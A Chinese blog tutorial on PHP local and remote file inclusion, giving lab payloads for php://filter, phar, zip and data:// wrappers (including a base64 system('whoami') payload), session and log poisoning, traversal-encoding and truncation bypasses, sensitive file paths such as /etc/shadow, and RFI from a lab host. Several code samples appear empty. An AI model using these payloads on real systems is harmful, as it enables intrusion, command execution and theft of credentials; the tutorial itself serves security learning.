文件包含漏洞

文件包含漏洞

简介

文件包含这个漏洞,简单来说既是程序猿在开发中为了方便,会将在多个页面重复使用的代码单独写到一个文件中,在需要用到的地方直接包含进来,包含后的文件既相当于将被包含的整个文件内容复制到了包含处。因为在开发中是经常用到的,因此成为了攻击者的目标,便衍生了多种文件包含的攻击。

在php中文件包含函数

include()
include_once()
require()
require_once()
filel_get_contents()
fopen()
readfile()

区别:

  • include是当代码执行到它的时候才加载文件,发生错误的时候只是给一个警告,然后继续往下执行
  • require是只要程序一执行就会立即调用文件,发生错误的时候会输出错误信息,并且终止脚本的运行

require一般是用于文件头包含类文件、数据库等等文件,include一般是用于包含html模版文件
include_once()require_once()与(include\require)的功能相同,只是区别于当重复调用的时候,它只会调用一次。

在php中文件包含分为本地文件包含(LFI)和远程文件包含(RFI)

分类

LFI(Local File Inclusion)

本地文件包含漏洞,顾名思义,指的是能打开并包含本地文件的漏洞。大部分情况下遇到的文件包含漏洞都是LFI。

RFI(Remote File Inclusion)

远程文件包含漏洞。是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,因此漏洞一旦存在危害性会很大。

但RFI的利用条件较为苛刻,需要php.ini中进行配置

    allow_url_fopen = On
    allow_url_include = On

两个配置选项均需要为On,才能远程包含文件成功。

但是,在php.ini中,allow_url_fopen默认一直是On,而allow_url_includephp5.2之后就默认为Off

所以远程文件包含的利用条件比较苛刻.

本地文件包含(LFI)

顾名思义,所要包含的文件是在服务器本身的文件

包含姿势

php伪协议

php://input

利用条件:

  • allow_url_include = On。
  • allow_url_fopen不做要求。

姿势:

文件包含漏洞_第1张图片

php://filter

利用它可以读取服务器中的文件

由于读取文件的数据直接输出在了页面上,如果读取的是php文件的话,浏览器会直接解析成php代码而不会显示,那么我们可以用这个协议将php文件中的代码以base64的形式输出在页面上:

payload:

index.php?file=php://filter/read=convert.base64-encode/resource=index.php

通过指定末尾的文件,可以读取经base64加密后的文件源码,之后再base64解码一下就行。

其他姿势:

file.php?file=php://filter/convert.base64-encode/resource=index.php

效果跟前面一样,少了read等关键字。在绕过一些waf时也许有用。

phar://

利用条件:

  • php版本大于等于php5.3.0

假设有个文件phpinfo.php,其内容为,打包成zip压缩包phpinfo.zip

利用:

指定绝对路径:

file.php?file=phar://D:/phpStudy/WWW/phpinfo.zip/phpinfo.php

也可以使用相对路径:

file.php?file=phar://phpinfo.zip/phpinfo.php

都可以成功发包含文件。

文件包含漏洞_第2张图片

zip://

利用条件:

  • php版本大于等于php5.3.0

姿势:

构造zip包的方法和phar相同。

但是使用zip伪协议,需要指定绝对路径,同时将#编码为%23,之后填上压缩包内的文件·。

file.php?file=zip://D:/phpStudy/WWW/phpinfo.zip%23phpinfo.php

若是使用相对路径,则会包含失败。

data:URI schema

利用条件:

  • php版本大于等于php5.2
  • allow_url_fopen = On
  • allow_url_include = On

姿势一:

?file=data:text/plain,

文件包含漏洞_第3张图片

也可以执行命令:

?file=data:text/plain,

姿势二:

?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

加号+的url编码为%2bPD9waHAgcGhwaW5mbygpOz8+的base64解码为:

也可以执行命令:

?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==

PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==的base64解码为:

包含session

利用条件:

session文件路径已知,且其中内容部分可控。

姿势:

php的session文件的保存路径可以在phpinfosession.save_path看到。

文件包含漏洞_第4张图片

常见的php-session存放位置:

 /var/lib/php/sess_PHPSESSID
 /var/lib/php/sess_PHPSESSID
 /tmp/sess_PHPSESSID
 /tmp/sessions/sess_PHPSESSID

其中,session文件的格式时固定的:sess_[phpsessid].而phpsessid在发送的请求的cookie字段中可以看到。

测试代码:


先随便尝试访问一下,存储一个session文件,我们打开访问:http://192.168.1.153/session.php?file=chuddy 查看这个session文件的内容为:chuddy|s:6:"chuddy";#发现存储了file值。于是尝试包含session文件。

抓包访问:
文件包含漏洞_第5张图片
记住这个PHPSESSID=asudiplcmv80km7fb5klokpki0,于是得到session文件名为:sess_asudiplcmv80km7fb5klokpki0,所以session文件的路径为/var/lib/php/session/sess_asudiplcmv80km7fb5klokpki0

文件包含漏洞_第6张图片

可以成功包含!

本地日志等文件的包含

顾名思义,所要包含的文件是在服务器本身的文件,我们可以读取一些在服务器上特殊的敏感信息

上网搜了一下敏感文件的位置:

windows:

c:\boot.ini                                                                      // 查看系统版本

c:\windows\system32\inetsrv\MetaBase.xml                                         //  IIS配置文件

c:\windows\repair\sam                                                            //  存储Windows系统初次安装的密码

c:\Program Files\mysql\my,ini                                                    //   MySQL配置

c:\Program Files\mysql\data\mysql\user.MYD                                       //   MySQL root

c:\windows\php.ini                                                               //   php 配置信息

c:\windows\my.ini                                                                //   MySQL 配置文件

linux:

/etc/passwd                                                                      //  账户信息

/etc/shadow                                                                      //  账户密码文件

/usr/local/app/apache2/conf/httpd.conf                                           //   Apache2默认配置文件

/usr/local/app/apache2/conf/extra/httpd-vhost.conf                                //   虚拟网站配置

/usr/local/app/php5/lib/php.ini                                                  //   PHP相关配置

/etc/httpd/conf/httpd.conf                                                       //   Apache配置文件

/etc/my.conf                                                                     //   mysql 配置文件
访问日志

利用条件:

需要知道服务器日志的存储路径,且日志文件可读。

很多时候,web服务器会将请求写入到日志文件中,比如说apache。在用户发起请求时,会将请求写入access.log,当发生错误时将错误写入error.log。默认情况下,每个系统日志文件的存储位置不一样,centos日志保存路径在 /var/log/httpd/access.log , ubantu日志文件会保存在/var/log/apache2/access.log

在本地常看日志会记录,一些什么信息。

192.168.1.115 - - [12/Jun/2019:15:19:23 +0800] "GET /file.php HTTP/1.1" 200 166"-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0"

通过对正常日志文件的分析发现,里面会存储我们访问的ip信息,请求的时间,请求求方式,url,客户端浏览器的信息等。

我们把shell藏在url里面

http://192.168.1.103/file.php?file=

但是我们包含失败了,我们查看日志信息:

192.168.1.115 - - [13/Jun/2019:16:25:01 +0800] "GET /file.php?file=%3C?php%20phpinfo();?%3E HTTP/1.1" 200 203 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0"

发现一些特殊符号被编码使得无法正确解析。在access.log中还包括了用户访问的浏览器信息,也就是head头部中的User-Agent标识,如果我们把php代码插入到这里,那么同样也是可以执行的,先用burp抓一个包,插入php代码

文件包含漏洞_第7张图片

然后查看日志文件:

192.168.1.115 - - [13/Jun/2019:04:02:42 +0800] "GET /file.php?file=chuddy.php HTTP/1.1" 200 - "-" ""

发现php代码已经写在上面了。尝试包含即可

SSH日志包含

利用条件:需要知道ssh-log的位置,且可读。

linux下ssh日志的位置:


/var/log/secure
/var/log/auth.log
/var/log/messages

Mac OS X(v10.4 or greater):
	/private/var/log/asl.log

Mac OS X(v10.3 or earlier)
	/private/var/log/system.log

Debian
	/var/log/auth.log

centos的ssh日志路径为:/var/log/secure

我们尝试ssh连接ssh ''@192.168.1.153

发现能在日志文件中成功写下

Jun 13 04:37:43 localhost sshd[1829]: Invalid user  from 192.168.1.115
Jun 13 04:37:43 localhost sshd[1830]: input_userauth_request: invalid user 
Jun 13 04:37:45 localhost sshd[1830]: Connection closed by 192.168.1.115

文件包含漏洞_第8张图片

第一次尝试发现不能包含,查看之后,发现没有权限,赋给它权限之后才能成功包含。

包含临时文件

php文件上传文件时,会创建临时文件。在linux下使用的是/tmp目录,而在windows下使用c:\winsdows\temp,在临时文件被删除之前,利用条件竞争可以包含该临时文件。这个和文件上传漏洞联系比较紧密。

加了一些限制的绕过方法

在大多数的情况下,我们碰到的不会是简简单单的include $_GET['file'];这样直接把变量传入包含函数内的,在很多时候包含的变量/文件,会被值订前缀和后缀。

指定前缀

测试代码:


而在根目录下有一个flag文件内容为:

目录遍历

利用../可以进行目录遍历,比如我们尝试访问:

include.php?file=../../../flag

则服务器端实际拼接出来的路径为:/var/www/html/../../../flag,也即/flag。从而包含成功。

文件包含漏洞_第9张图片

但是有时候会对../做一些过滤,我们可以利用一些编码来进行绕过。

  • 利用url编码
    • …/
      • %2e%2e%2f
      • …%2f
      • %2e%2e/
    • …\
      • %2e%2e%5c
      • …%5c
      • %2e%2e\
  • 二次编码
    • …/
      • %252e%252e%252f
    • …\
      • %252e%252e%255c
  • 容器/服务器的编码方式
    • …/
      • …%c0%af
      • %c0%ae%c0%ae/
        • 注:java中会把"%c0%ae"解析为"\uC0AE",最后转义为ASCCII字符的"."(点)
        • Apache Tomcat Directory Traversal
    • …\
      • …%c1%9c
指定后缀名

当包含的文件指定了后缀名时:

 
@include($_GET['file'].".html");
?>

可以尝试利用以下方法绕过。

%00截断

利用条件:

需要修改php.ini的配置: 
    magic_quotes_gpc=off
PHP小于5.3.4

例如上面例题代码一样:限制只能包含html文件。假如有一个phpinfo.php内容时,直接包含时肯定不行的,文件名会变成phpinfo.php.html如果在参数后面加上一个%00,实现%00截断发现成功包含。

文件包含漏洞_第10张图片

路径长度截断

在windows最大长度是256,linux上是4096

payload:

?file=phpinfo.php/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

文件包含漏洞_第11张图片

点绕过

适用于windows下,.要超过256

payload:

?file=phpinfo.php..................................................................................................................................................................................................................................................................

文件包含漏洞_第12张图片

远程文件包含(RFI)

利用条件:

allow_url_fopen = On
allow_url_include = On

测试代码:


在远程服务器上的文件代码(test.txt)


payload:

http://127.0.0.1/file.php?file=http://192.168.1.103/test.txt

文件包含漏洞_第13张图片

有限制远程文件包含漏洞绕过

测试代码


我们发现这里的后缀名被限制为.html

url

url格式:

protocol :// hostname[:port] / path / [;parameters][?query]#fragment

在远程文件包含漏洞中,可以利用query或fragment来绕过后缀限制。

姿势一:query(?)

http://127.0.0.1/file1.php?file=http://192.168.1.103/test.txt?

则包含的文件为 http://127.0.0.1/file1.php?file=http://192.168.1.103/test.txt?.html
问号后面的部分.html,也就是指定的后缀被当作query从而被绕过。

文件包含漏洞_第14张图片

姿势二:fragment(#)

http://127.0.0.1/file1.php?file=http://192.168.1.103/test.txt%23

则包含的文件为
问号后面的部分.html,也就是指定的后缀被当作fragment从而被绕过。注意需要把#进行url编码为%23

文件包含漏洞_第15张图片

windows和linux差别

在windows上%00%3f可以绕过,在linux除此之外%20也可以绕过

防御方案

  • 在很多场景中都需要去包含web目录之外的文件,如果php配置了open_basedir,则会包含失败
  • 做好文件的权限管理
  • php中可以使用open_basedir配置限制访问限制在指定的区域
  • 过滤.\/
  • 禁止服务器远程文件包含

参考:chybeta的博客

你可能感兴趣的:(web安全)